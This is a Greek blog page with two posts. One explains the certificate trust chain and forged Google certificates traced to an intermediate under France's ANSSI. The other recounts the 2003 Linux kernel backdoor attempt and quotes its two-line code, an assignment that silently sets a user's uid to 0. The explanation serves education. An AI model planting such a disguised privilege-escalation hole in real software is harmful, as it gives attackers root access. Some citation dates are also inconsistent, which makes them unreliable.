Δευτέρα 23 Δεκεμβρίου 2013

Το εύθραυστο μοντέλο εμπιστοσύνης


Στις 3 Δεκεμβρίου η Google ανακοίνωσε πως εντόπισε ψεύτικα πιστοποιητικά ασφαλείας για διάφορα domains που της ανήκουν1. Τι σημαίνει όμως αυτό; Για να το καταλάβουμε ακολουθεί η πιο σύντομη περιγραφή του μοντέλου εμπιστοσύνης που κυριαρχεί στο Ίντερνετ.

Αν επισκεφθείτε κάποια ασφαλή ιστοσελίδα (π.χ. https://mail.google.com) θα παρατηρήσετε ένα λουκέτο δίπλα στην γραμμή διεύθυνσης
Το  λουκέτο αυτό υποδηλώνει πως α) η διεύθυνση αυτή ανήκει πράγματι στην εν λόγω ιστοσελίδα και β) κανένας άλλον, πλην του υπολογιστή σας και της ιστοσελίδας, δεν μπορεί να δει τα δεδομένα που μεταφέρονται. Πώς όμως ο υπολογιστής μας το αντιλαμβάνεται αυτό; Το αντιλαμβάνεται επειδή ο απομακρυσμένος υπολογιστής έχει στείλει ένα πιστοποιητικό ασφαλείας που περιέχει τα στοιχεία του. Ένα ερώτημα που προκύπτει είναι και πως γνωρίζουμε ότι το πιστοποιητικό αυτό είναι αυθεντικό; Η απάντηση σε αυτό το ερώτημα είναι επειδή το έχει υπογράψει ψηφιακά μια έμπιστη τρίτη οντότητα. Η έμπιστη τρίτη οντότητα είναι στην ουσία μια εταιρεία την οποία ο υπολογιστής μας  (ή το κινητό μας) εμπιστεύεται και αυτό επειδή το δικό της πιστοποιητικό είναι προ εγκατεστημένο με το λειτουργικό μας. Άρα μέχρι στιγμή το μοντέλο εμπιστοσύνης έχει ως εξής: το λειτουργικό μας σύστημα εμπιστεύεται έναν αριθμό από έμπιστες τρίτες οντότητες και οποιαδήποτε σελίδα έχει πιστοποιητικό το οποίο έχει υπογραφεί από κάποια από αυτές τις οντότητες.

Ένα τέτοιο μοντέλο θα ήταν εύκολα διαχειρίσιμο, δεν θα ήταν όμως βιώσιμο γιατί  λίγες εταιρείες θα μπορούσαν να ελέγξουν όλα τα πιστοποιητικά που υπάρχουν στο διαδίκτυο. Αυτό που κάναμε λοιπόν είναι να βάλουμε άλλον έναν κρίκο στο μοντέλο εμπιστοσύνης: της ενδιάμεσους πάρχους πιστοποιητικών. Ένας ενδιάμεσος πάροχος πιστοποιητικών είναι μια εταιρεία που υπογράφει πιστοποιητικά και για αυτή την εταιρεία έχει εγγυηθεί (άρα εμπιστεύεται) κάποια έμπιστη τρίτη οντότητα. Οπότε το μοντέλο εμπιστοσύνης επεκτείνεται ως εξής: το λειτουργικό μας σύστημα εμπιστεύεται οποιαδήποτε ιστοσελίδα έχει πιστοποιητικό το οποίο έχει υπογραφεί από έναν ενδιάμεσο πάροχο, τον οποίο εμπιστεύεται κάποια από τις έμπιστες τρίτες οντότητες που εμπιστεύεται το ίδιο το λειτουργικό.  

Τι έγινε λοιπόν στο περιστατικό με την Google; Κάποιος ενδιάμεσος πάροχος, τον οποίο εμπιστευόταν η γαλλική έμπιστη τρίτη οντότητα ANSSI (η οποία ανήκει στο γαλλικό κράτος) εξέδωσε ένα ψεύτικο πιστοποιητικό για σελίδες της Google. Δεδομένου ότι σχεδόν όλα τα λειτουργικά εμπιστεύονται την ANSSI τα ψεύτικα αυτά πιστοποιητικά θα μπορούσαν να χρησιμοποιηθούν από κάποια κακόβουλη ιστοσελίδα, η οποία θα παρίστανε πως είναι μια ιστοσελίδα της Google: ο χρήστης θα ήταν αδύνατο να καταλάβει την απάτη. 

Πώς όμως η Google κατάλαβε την απάτη; Στον πυγαίο κώδικα του browser της Google (του Chrome) υπάρχουν μια λίστα από πιστοποιητικά ιστοσελιδών (συμπεριλαμβανομένου και αυτών της Google). Όταν ο Chrome συναντήσει μια σελίδα η οποία ισχυρίζεται πως είναι μια από αυτές που υπάρχουν στον πηγαίο κώδικα του browser αλλά το πιστοποιητικό της είναι διαφορετικό τότε στέλνει μια ειδοποίηση στην Google για το ψεύτικο πιστοποιητικό. Τότε το ψεύτικο πιστοποιητικό αλλά και ο ενδιάμεσος φορέας μπαίνουν σε μια μαύρη λίστα

Παραπομπές:

  1. A. Langley, "Further improving digital certificate security", Google online security blog, 7 Δεκ. 2013 [Online], τελευταία πρόσβαση 24 Δεκ. 2012

Δευτέρα 2 Δεκεμβρίου 2013

Μια παρολίγον κερκόπορτα στον πυρήνα του Linux

Το Linux είναι ένα διαδεδομένο λειτουργικό σύστημα που χρησιμοποιείται τόσο για καθημερινές λειτουργίες, όσο και σε μηχανήματα ειδικού σκοπού (όπως web servers). Μια ιδιαιτερότητα αυτού του λειτουργικού συστήματος είναι πως ο πηγαίος κώδικας του είναι ελεύθερα διαθέσιμος και η ανάπτυξη του στηρίζεται σε μια κοινότητα εθελοντών.
Tο λογότυπο του Linux
Στις αρχές του 2002 η διαχείριση του πηγαίου κώδικα του πυρήνα του Linux, αποφασίστηκε να γίνει με το λογισμικό BitKeeper. Το BitKeeper ήταν ένα αποδοτικό, κατανεμημένο σύστημα διαχείρισης κώδικα. Το μειονέκτημα του ήταν πως ήταν ένα εμπορικό προϊόν κλειστού κώδικα, κάτι το οποίο είναι εντελώς αντίθετο στην φιλοσοφία του Linux. Σύντομα πολλοί προγραμματιστές αντέδρασαν, και έτσι δημιουργήθηκε ένα δεύτερο σύστημα διαχείρισης του κώδικα του πυρήνα, βασισμένο στο λογισμικό CVS.  Η διαδικασία για να ενσωματωθεί μια αλλαγή στον κώδικα του πυρήνα ήταν να προτείνει κάποιος μια αλλαγή και στην συνέχεια μέσα από μια ενδελεχή διαδικασία έγκρισης να αποφασιστεί αν αυτή η αλλαγή μπορεί να ενσωματωθεί στον κώδικα ή όχι1.

Το 2003 ο Larry McVoy παρατήρησε2 πως μια αλλαγή στον κώδικα του πυρήνα που υπήρχε στο CVS σύστημα δεν υπήρχε στο αντίστοιχο σύστημα βασισμένο στο BitKeeper. Ακόμη εντόπισε πως αυτή η αλλαγή δεν είχε περάσει ποτέ την διαδικασία έγκρισης, αλλά είχε μπει από κάποιον τρίτο ο οποίος είχε καταφέρει να παραβιάσει την ασφάλεια του CVS λογισμικού. Η αλλαγή ήταν μόλις 2 γραμμές:
if ((options == (__WCLONE|__WALL)) && (current->uid = 0))
        retval = -EINVAL;

Οι δύο αυτές γραμμές φαινομενικά κάνουν έναν αθώο έλεγχο ασφαλείας. Κάποιος γνώστης της γλώσσας C μπορεί να παρατηρήσει όμως πως στο δεύτερο κομμάτι της εντολής if (current->uid = 0) χρησιμοποιείται το σύμβολο ανάθεσης (=) και όχι το σύμβολο σύγκρισης (==). Αυτό λοιπόν που κάνει η εντολή αυτή είναι αν συμβεί κάποιο συγκεκριμένο λάθος τότε να θέσει στην μεταβλητή uid την τιμή 0. Η μεταβλητή uid  όμως αντιστοιχεί στο επίπεδο ασφαλείας του χρήστη, με το 0 να είναι το επίπεδο με τα περισσότερα δικαιώματα (το λεγόμενο root). Επομένως αυτές οι 2 γραμμές κώδικα θα μπορούσαν να δώσουν  σε κάποιο απλό χρήστη πλήρη δικαιώματα πάνω σε ένα σύστημα βασισμένο στο Linux.

Η αλλαγή αυτή διορθώθηκε στο CVS και δεν πέρασε ποτέ στον κώδικα του πυρήνα του Linux. Το ποιος έκανε αυτή την αλλαγή παραμένει μέχρι σήμερα άγνωστο.

Παραπομπές:

  1. Ed Felten, "The Linux Backdoor Attempt of 2003", Freedom to thinker, 9 Οκτ. 2013 [Online], τελευταία πρόσβαση 2 Δεκ. 2013
  2. Larry McVoy, "BK2CVS problem", email στην λίστα linux-kernel-AT-vger.kernel.org, 5 Νοε, 2013, [Online], τελευταία πρόσβαση 2 Δεκ. 2013